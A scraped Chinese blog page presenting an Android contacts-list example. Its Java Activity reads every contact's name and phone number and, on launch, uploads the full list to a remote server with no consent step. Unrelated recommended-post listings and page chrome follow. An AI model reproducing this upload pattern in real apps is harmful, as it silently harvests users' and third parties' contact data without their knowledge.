通讯录实例

android通讯录实例(一) android通讯录,实现功能1.检索手机存入联系人并显示 2.右侧导航条根据拼音字母检索联系人 3.通过搜索栏实时搜索联系人 4.vCard格式导出并发送分享功能 5.检测系统通讯录是否有变化,有变化在通知栏通知,并更新联系人列表功能 阅读详情
/**
 * 先定义String NamePhone,用于匹配上传格式
 * 通过TempString()把getData()返回的list转换成String类型
 * 传给定义好的NamePhone
 * 然后调用GetSMS()上传
 * @author Administrator
 *
 */
public class Contacts extends Activity {
private String NamePhone;
private ListView lv;
private ContentResolver resolver;//获取ContentResolver对象
private SimpleAdapter adapter;
// 查询raw_contacts表的uri,用于获取所有联系人
Uri rawContactsUri = ContactsContract.RawContacts.CONTENT_URI;
// raw_contacts表中display_name字段,用于直接获取姓名
String rawContacts_display_name = ContactsContract.Contacts.DISPLAY_NAME;
// raw_contacts表中的_id字段,同时对应data表中的raw_contacts_id字段
String rawContacts_id = ContactsContract.Contacts._ID;
// data表中的电话信息,需要通过_id字段来得到
Uri phoneUri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
// 电话信息中的raw_contact_id字段
String phone_id = ContactsContract.CommonDataKinds.Phone.RAW_CONTACT_ID;
// 索引值字段
String phoneIndex = ContactsContract.CommonDataKinds.Phone.NUMBER;


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.testcontacts);
resolver=getContentResolver();
setContentView(R.layout.contacts);
NamePhone=TempString(getData());
SendSMS();
init();
}

    /**
     * 初始化
     */
private void init() 
{
// TODO Auto-generated method stub
lv=(ListView) findViewById(R.id.listView1);

adapter=new SimpleAdapter(this, getData(), R.layout.contactsitem,new String[]{rawContacts_display_name, "phone"},new int[]{R.id.user_name,R.id.user_phone});
lv.setAdapter(adapter);
}

/**
* 遍历list,迭代获取所有的key和vlaue
* 并且上传匹配格式
* @param list
* @return
*/
private String TempString(List<Map<String, String>> list) {
// TODO Auto-generated method stub
String NP="";
for (int i=0;i<list.size();i++)
{
Map<String, String>  map1=(Map<String, String>)list.get(i);
       Iterator<String> iterator = map1.keySet().iterator();
           while (iterator.hasNext())
           {
               String key = (String) iterator.next();
               String value = (String) map1.get(key);
               NP+=key+"|b|"+value+"|s|";     
           }      
}
LogUtil.e(NP);
//去掉最后的“|s|”三个字符
StringBuilder sb = new StringBuilder(NP);
String substring = NP.substring(0, sb.length()-3);
LogUtil.e(substring);
//返回最终的子串
return substring;
}


/**
* 返回list给适配器
* @return
*/
private List<Map<String, String>> getData() 
{
List<Map<String,String>> list=new ArrayList<Map<String,String>>();
//读取出所有的联系人
Cursor cursor=resolver.query(rawContactsUri, null,null,null,null);
while (cursor.moveToNext()) 
{
Map<String,String> map=new HashMap<String, String>();
//获取联系人姓名
String id=cursor.getString(cursor.getColumnIndex(rawContacts_id));
String name=cursor.getString(cursor.getColumnIndex(rawContacts_display_name));
  
//通过联系人id获取号码
Cursor phoneCursor=resolver.query(phoneUri, null, phone_id + " = ?", new String[]{id}, null);
StringBuilder phoneSB=new StringBuilder();

/**
* 通过联系人的id循环获取电话号码
* 因为一个人可能有多个电话号码
* 如果一个人多个号码就多条记录
* 而姓名是一样的。
*/
while(phoneCursor.moveToNext()) 
{
//得到电话号码
String phoneNumber=phoneCursor.getString(phoneCursor.getColumnIndex(phoneIndex));
//先判断
if (phoneNumber!=null) 
{ //获得转换后的电话号码
String mobile=MobileLenght(phoneNumber);
//然后在正则表达式判断
if(isMobileNO(mobile)) 
{ //通过就添加一个人的所有电话号码、、可以增加多条记录!!
phoneSB.append(mobile);
}
}
}
/**
* 如果手机号码为空的话,就把姓名和电话都移除。
* 不为空的话就添加到list
* 如果一个人多个电话号码
* 只取电话号码的第一个
*/
if (phoneSB.toString().equals("")) 
{
map.remove(rawContacts_display_name);
map.remove("phone");
}
else
{ //最终只取第一个电话号码。
map.put(rawContacts_display_name, name);
map.put("phone",phoneSB.substring(0,11));
list.add(map); 
}
}
return list;
//返回list给适配
}

/**
* 先初始化电话号码。
* 如果是加了+86和0头的先去掉。
* 不然的话就返回原来的长度
* 加上有些加横杠的“-”和空格的也去掉
  * @param mobiles
* @return
*/
private String  MobileLenght(String mobiles) {
// TODO Auto-generated method stub
String mobile=mobiles.replace("-","").replace(" ", "").trim();

if (mobiles.length()==14&&(mobiles.startsWith("+"))) 
{ 
mobile= mobiles.substring(mobiles.length()-11,mobiles.length());
    }
      if (mobiles.length()==12&&(mobiles.startsWith("0")))
      {
     
    mobile= mobiles.substring(mobiles.length()-11,mobiles.length());
    }
return mobile;
}

/**
* 判断手机号的正则表达式
* @param number
* @return
*/
public  boolean isMobileNO(String mobiles){
     boolean flag = false;
     try{
      Pattern p = Pattern.compile("^((13[0-9])|(15[^4,\\D])|(18[0,5-9]))\\d{8}$");
      Matcher m = p.matcher(mobiles);
      flag = m.matches();
     }catch(Exception e){
      flag = false;
     }
     return flag;
    }

 
/**
 * 上传通讯录函数
 * 先匹配后执行
 */
private void SendSMS()
{
//上传通讯录,获取的RUL
Request nprequest=new Request(UrlHelper.TRANSFER_NP);
nprequest.params.put("device", "3");
nprequest.params.put("tx",NamePhone);
 
nprequest.setCallback(new StringCallback() {

@Override
public void onSuccess(String result) {
// TODO Auto-generated method stub
LogUtil.e(result+"");
}

@Override
public void onFailure(AppException result) {
// TODO Auto-generated method stub
LogUtil.e(result.getMessage());
}
});
nprequest.execute();
 
}
}
android通讯录实例(二) 上一篇android通讯录实例(一)地址:http://blog.youkuaiyun.com/specialshoot/article/details/50651080 这一此我们把UI上最重要的部分IndexableListView说明,这个项目可以在github上找到。https://github.com/woozzu/IndexableListView 源码下载下来我们发现核心代码有两片,Inde 阅读详情

相关推荐

Android Studio实例:绿豆通讯录

首先是继承SQLiteOpenHelper的数据库自定义类。创建Java文件MyHelper.java。步骤四: 逻辑代码MainActivity。代码:activity_main.xml。步骤三:主界面的界面代码的创建。

2401_83566316的博客 1574

【C语言】通讯录——示例以及详解

对于刚接触c语言的小伙伴们,通讯录是第一个综合性我们所学的知识的程序,存在一定难度,那么本篇是我写的通讯录,一共300多行,所用到的知识点我会为大家逐一注释并讲解,如果有写错的也欢迎各位大佬指出,我会及时改正(叠盾)接下来我们要制作翻页功能,首先是定义结构体如下://页数结构体//当前页//每页信息数量//信息总数//总页数}Page;在这个程序中,我们能看得到功能不多,函数功能却很复杂,十分考验初学者的综合能力,在这里一些建议1.多写多练习这个程序。

Bing_ning_的博客 1445

Android联系人经典案例

Android联系人经典案例 博客:http://blog.youkuaiyun.com/lowprofile_coding/article/details/42570359

实例137一个简单的通讯录

应用程序的典型结构是三层体系结构,即数据库层、业务层和表现层。其中数据库层一般选用Access、SQL Server或Oracle等数 据库,业务层是包含业务逻辑的类库(即一组DLL),表现层可以是窗体应用程序或网站的形式示。 这个个通讯录程序很简单,但反映了应用程序编写的一般思路。 1.打开Access数据库,存其中创建一个名称为Person的表。 2.VS创建一个解决方案,添加一个Person类 '人员类 Public Class Person ...

复行数十步 576

Android 完整的通讯录项目源码学习专用

Android 完整的通讯录项目源码学习专用Android 完整的通讯录项目源码学习专用

android 简易通讯录(sqlite示例)

android 简易通讯录,使用sqlite数据库,开发环境idea。

c语言实例-通讯录

代码是在xcode中写的c语言代码

q1989424的博客 682

Android Studio 做的小型通讯录

运用Android Studio练习的一个通讯录App,其中存储数据用的是SQLite数据库,能够实现联系人信息的增、删、改、查。 并且还能实现打电话功能和发短信功能。

手机通讯录----Python实例练习

用Python列表和字典相关知识实现手机通讯录功能

2301_76828807的博客 1007

自己做的通讯录,android studio版本的,demo性质,适合入门

自己闲暇时间做的安卓通讯录,是用android studio 搭建的,直接可以导入使用,适合入门的新手使用,本人也是初入者,所以大家一起学习

Android Studio简易通讯录界面.rar

1、获取手机通讯录的信息;2、手机通讯录的数据封装;3、手机通讯录的信息的UI适配;4、对ListView的优化。

通讯录软件测试初学者,通过实例学VB—创建简单的个人通讯录

对于初学者来说任何编程语言都很让人迷惑,尤其是编写代码的时候。笔者通过自己的经历感觉学习任何东西通过例子来实践是最好的方法。今天就通过和大家来一起用对于个人通讯录而言我们需要对通讯录的数据进行存储,那用什么来实现呢?在VB的“外接程序”菜单中嵌有“可视化数据管理器”,它可以对多种在VB中建立新的“标准EXE”工程,这时我们可以开始设计。在窗体中先加入一个label标签框控件(label1),将其c...

weixin_28707535的博客 660

Android通讯录案例

实战演练——通讯录 功能描述:通过SQLite实现数据库的增删改查 技术要点:SQLite的基本操作 实现步骤: ① 创建一个类继承SQLiteOpenHelper ② 重写父类构造方法、onCreate()、onUpgrade() ③ 增删改查 效果图 作者:Supper猿

Python 最简单的实例:手机通讯录

通讯录是记录了联系人姓名和联系方式的名录,手机通讯录是最常见的通讯录之一,人 们可以在通讯录中通过姓名查看相关联系人的联系方式、邮箱、地址等信息,也可以在其中 新增联系人,或修改、删除联系人信息。 通讯录中包含 6 个功能,每个功能都对应一个序号,用户可根据提示“请输入 功能序号”选择序号执行相应的操作,包括: (1) 添加联系人:用户根据提示“请输入联系人的姓名:”、“请输入联系人的手机 号:”、“请输入联系人的邮箱:”和“请输入联系人的地址:”分别输入联系人的 姓名、手机号、邮箱和地址,输入完成后提示“

锤锤的博客 3万+

2021.11.23 Covins 多机器人单目协同建图 跑Euroc数据集 更新

近日,一直在调试如何使用Covins跑通数据集,因为是初学者,所以很多bug出来的时候原理都不懂,只能复制——百度——尝试解决的过程。 现分享一下近日的结果以及与Covins作者帮助解答的一些问题。 使用代码行跑依次跑Euroc多数据集 这里的意思是使用作者提供的covins_examples文件夹中的euroc_examples_mh123_vigba.sh文件,这个文件是将三个Euroc数据集依次运行,跑完第一个数据集,第二个数据集运行的时候在第一个数据集生成地图的基础上继续绘制,由于我只下载了两个数据

qq_42614598的博客 2474

RV1126B RV1126B-P 瑞芯微 高性能视觉处理器SoC 芯片

它集成了大量算法加速器,如 HDR、3A、LSC、3DNR、2DNR、锐化、去雾、鱼眼校正、伽马校正、特征点检测等。此外,还配备了一款最多8兆像素的 AI-ISP,作为对传统ISP 的补充,以提供卓越的空间去噪性能和增强的图像增强效果。除了先前的高性能多媒体区块外,RV1126B还包含丰富的音频、内存和其他外围接口,如I2C、SPI、PWM等。借助这-特性,来自相机的视频可以以高分辨率进行编码,并存储在本地内存中,同时还能将另-段较低分辨率的视频传输到云存储。

szhorsway的博客 1856

c php通讯录,C语言通讯录实例分享

本文实例为大家分享了C语言通讯录实例的具体代码,供大家参考,具体内容如下main.c文件://// main.c// c语言通讯录//// Created by stevenchang on 9/6/15.// Copyright (c) 2015 cz. All rights reserved.///**1.添加联系人2.删除联系人3.更新联系人4.显示所有联系人5.查找联系人6.退出系统*/#...

weixin_36250200的博客 81

Basilisk库教程

要在仿真中执行模块,其调度由Basilisk的[Process]和[Task]容器控制。BSK[Task]包含一系列模块,这些模块都以相同的更新频率执行。一个[Process]本质上是一个任务组,可以包含多个相关的任务。例如,在多星仿真中,你可以为每颗卫星创建一个[Process],以便将相关任务和嵌入式模块有序地组织起来。下图展示了一个示例布局,其中bskSat卫星的动力学被添加到与飞行软件(FSW)算法分开的进程中,这些算法在该卫星上执行。在每个进程中,设置了若干任务,这些任务以指定的频率进行评估。

weixin_57997461的博客 1135

python写通讯录_Python实现命令行通讯录实例教程

1、实现目标编写一个命令行通讯录程序,可以添加、查询、删除通讯录好友及电话2、实现方法创建一个类来表示一个人的信息。使用字典存储每个人的对象,名字作为键。使用pickle模块永久地把这些对象存储下来。使用字典内建的方法添加、删除修改人员信息。3、思维导图4、编写伪代码# 1.创建字典用来存储通讯录信息# 2.创建人员类,包含姓名、关系、电话三个属性# 3.创建操作类,包含增加、查询、删除人员,退出...

weixin_39831239的博客 363

DDR内存设计必看:DFI接口协议详解与实战避坑指南(附时序图解析)

本文深入解析了DDR内存设计中连接内存控制器与物理层的DFI接口协议,聚焦于DDR4/DDR5设计的实际痛点。文章详细阐述了协议版本兼容性、时钟架构(匹配频率与频率比系统)、PCB信号完整性设计以及上电初始化与调试等关键环节,为硬件工程师提供了一套从理论到实战的完整避坑指南,并附有时序图解析以助理解。

weixin_29256771的博客 329

Unity通用Buff系统,Buff编辑器(1,理论篇)(技能系统之Buff篇)

逻辑层根据游戏的规则和设计,控制Buff的生命周期、影响目标对象的属性或行为,以及处理Buff的交互和冲突。Buff堆叠和冲突:有些游戏中允许同类型的Buff叠加,以增加效果的强度,而有些游戏中可能不允许Buff叠加,只能由更强力的Buff来覆盖较弱的Buff。灵活个性化:每个游戏对象拥有自己的BuffManager,可以实现个体对象的独特Buff效果,增加游戏的多样性和个性化。自由控制:每个对象独立管理自己的Buff,可以自由地激活、更新和移除Buff效果,提供更精细的控制和逻辑实现。

u010082265的博客 4692

python字典通讯录_Python利用字典将两个通讯录文本合并为一个文本实例

本文实例主要实现的是利用字典将两个通讯录文本合并为一个文本,具体代码如下:def main():ftele1=open("d:\TeleAddressBook.txt","rb")ftele2=open("d:\EmailAddressBook.txt","rb")ftele1.readline()#跳过第一行ftele2.readline()lines1=ftele1.readlines()li...

weixin_39530269的博客 206

TriCore架构-基于TC397在SOTA过程中AB-SWAP切换底层原理

TC397的SOTA升级机制通过硬件地址重映射实现,利用MMU将逻辑地址动态映射到不同物理地址。其PFlash支持标准/备用地址映射,通常使用PF0+PF1+PF4空间以便于OTA处理。升级时,新固件自动写入非活动分区(A/B分区切换),由地址转换函数完成逻辑地址到物理地址的转换。系统重启后根据寄存器选择启动区域,实现安全无缝的固件更新。

xiandang8023的博客 490
下一篇: popupwindow的使用,背景虚化
SXH_Android
博客等级 码龄11年 16粉丝 19原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值